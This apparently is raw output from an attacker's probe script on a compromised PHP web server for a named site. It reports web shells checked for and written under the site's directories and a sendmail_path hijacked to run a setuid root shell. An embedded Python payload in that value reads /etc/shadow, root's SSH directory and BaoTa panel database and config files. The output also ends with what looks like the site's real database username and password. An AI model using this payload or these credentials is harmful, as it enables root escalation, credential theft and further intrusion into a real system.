==SAFE PROBE==nPHP: 5.6.40nWS_CHECK: /www/wwwroot/www.ruanjian123.com/uploadfile/x217.php => NOnWS_CHECK: /www/wwwroot/www.ruanjian123.com/uploadfile/shell217.php => NOnWS_CHECK: /www/wwwroot/www.ruanjian123.com/e/data/js/shell217.php => EXISTSnWS_FAIL: /www/wwwroot/www.ruanjian123.com/uploadfile/ws217.phpnWS_WRITTEN: /www/wwwroot/www.ruanjian123.com/kaifadou/ws217.phpnTMPFILE: /tmp/bypass_full.txt => 4399 bytesnUPLOAD_DIR: nSENDMAIL_PATH: /tmp/rootshell -p -c python3 -c "
import os
os.setuid(0)
os.setgid(0)
f=open("/tmp/rout.txt","w")
f.write("UID:"+str(os.getuid())+" EUID:"+str(os.geteuid())+"n")
try:
    f.write("SHADOW:n"+open("/etc/shadow").read()[:4000])
except Exception as e:
    f.write("SHADOW_ERR: "+str(e)+"n")
try:
    import subprocess
    out = subprocess.check_output(["ls","-la","/root/.ssh/"],stderr=subprocess.STDOUT)
    f.write("ROOT_SSH:n"+out.decode())
except Exception as e:
    f.write("ROOT_SSH_ERR: "+str(e)+"n")
try:
    out = subprocess.check_output(["ls","-la","/root/"],stderr=subprocess.STDOUT)
    f.write("ROOT_DIR:n"+out.decode())
except Exception as e:
    f.write("ROOT_DIR_ERR: "+str(e)+"n")
try:
    f.write("BT_DB:n"+open("/www/server/panel/data/default.db","rb").read()[:3000].decode("latin-1"))
except Exception as e:
    f.write("BT_DB_ERR: "+str(e)+"n")
try:
    f.write("BT_CONFIG:n"+open("/www/server/panel/config/config.json").read()[:3000])
except Exception as e:
    f.write("BT_CONFIG_ERR: "+str(e)+"n")
f.close()
" 2>&1nDB_USER: www_ruanjian123_nDB_PASS: Aam3sf5xDMPbypM7nDB_NAME: www_ruanjian123_n